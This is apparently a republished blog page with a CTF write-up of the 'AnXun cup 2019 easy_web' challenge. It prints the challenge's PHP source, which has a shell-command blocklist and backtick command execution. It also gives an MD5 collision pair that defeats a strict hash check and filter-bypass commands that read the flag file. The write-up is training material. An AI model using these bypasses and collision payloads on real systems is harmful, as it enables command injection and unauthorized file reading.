当前位置:网站首页>[AnXun cup 2019] easy_web
[AnXun cup 2019] easy_web
2022-08-02 22:36:00 【The wind -】
Inspect knowledge points:
1. The sensitivity of decryption (or the strength of the tool)
2.md5 accumulation of strong comparisons
3. Function accumulation of reading files
Solution:
Enter the page to directly burp the packet:

There is an img=TXpVek5UTTFNbVUzTURabE5qYz0, let's put it directly into the script and run it:

The script is easy to write, just write one according to the way you like.It is decoded and found to be 555.png. Because of the characteristics of the url here, it should only be encoded three times here:
hex->base64->base64
Then let's try to read the page source code:

Then paste it into img

Decode it
';die("xixiï½ no flag");} else {$txt = base64_encode(file_get_contents($file));echo "
";echo "
";}echo $cmd;echo "
";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "
";} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])){echo `$cmd`;} else {echo ("md5 is funny ~");}}?>
There is a lot of filtering about cmd, and there is another entry condition
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
Simple, fry the bottom of the house:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
Posture one:
sort /flag

The lack of this posture is that I don't know the name of the flag, so I have to guess
Pose Two:
l\s

This method is very useful to bypass, and you can also know the flag name

边栏推荐
- MySQL安装配置教程(超级详细、保姆级)
- 7.23 - 每日一题 - 408
- Silver circ: letter with material life insurance products should be by the insurance company is responsible for the management
- 松鼠短视频系统为用户加入随机头像代码-快速为用户加上随机头衔
- 软件测试分类
- 元宇宙001 | 情绪无法自控?元宇宙助你一臂之力
- 一款好用的FAQ搭建工具
- E - Addition and Multiplication 2(贪心)
- Redis 5 种数据结构及对应使用场景
- geoserver+mysql+openlayers问题点
猜你喜欢

「面试必会」这应该是最有深度的TCP三次握手、四次挥手细节讲解

Detailed explanation of common examples of dynamic programming

ShardingSphere-proxy +PostgreSQL实现读写分离(静态策略)

PG 之 SQL执行计划

Parse the commonly used methods in the List interface that are overridden by subclasses

Caldera(一)配置完成的虚拟机镜像及admin身份简单使用

Geoserver + mysql + openlayers problem

Redis cluster configuration

Based on OpenGL glaciers and firebird (illumination calculation model, visual, particle system)

In action: 10 ways to implement delayed tasks, with code!
随机推荐
实现客户服务自助,打造产品知识库
7.24 - 每日一题 - 408
松鼠短视频系统为用户加入随机头像代码-快速为用户加上随机头衔
什么是现场服务管理系统(FSM)?有什么好处?
Leetcode刷题——字符串相加相关题目(415. 字符串相加、面试题 02.05. 链表求和、2. 两数相加)
7月29-31 | APACHECON ASIA 2022
2022-07-27
2022-07-26
Golang sync/atomic 包的原子操作说明
JVM内存和垃圾回收-05.虚拟机栈
快速掌握jmeter(一)——实现自动登录与动态变量
ALV概念讲解
Redis cluster configuration
B站HR对面试者声称其核心用户都是生活中的Loser
leetcode刷题记录:7.整数反转,8.字符串转整数,9.回文数
当TIME_WAIT状态的TCP正常挥手,收到SYN后…
AI科学家:自动发现物理系统的隐藏状态变量
golang刷leetcode 经典(10) tire树与ac自动机
入职对接-hm项目
【LeetCode】1374. 生成每种字符都是奇数个的字符串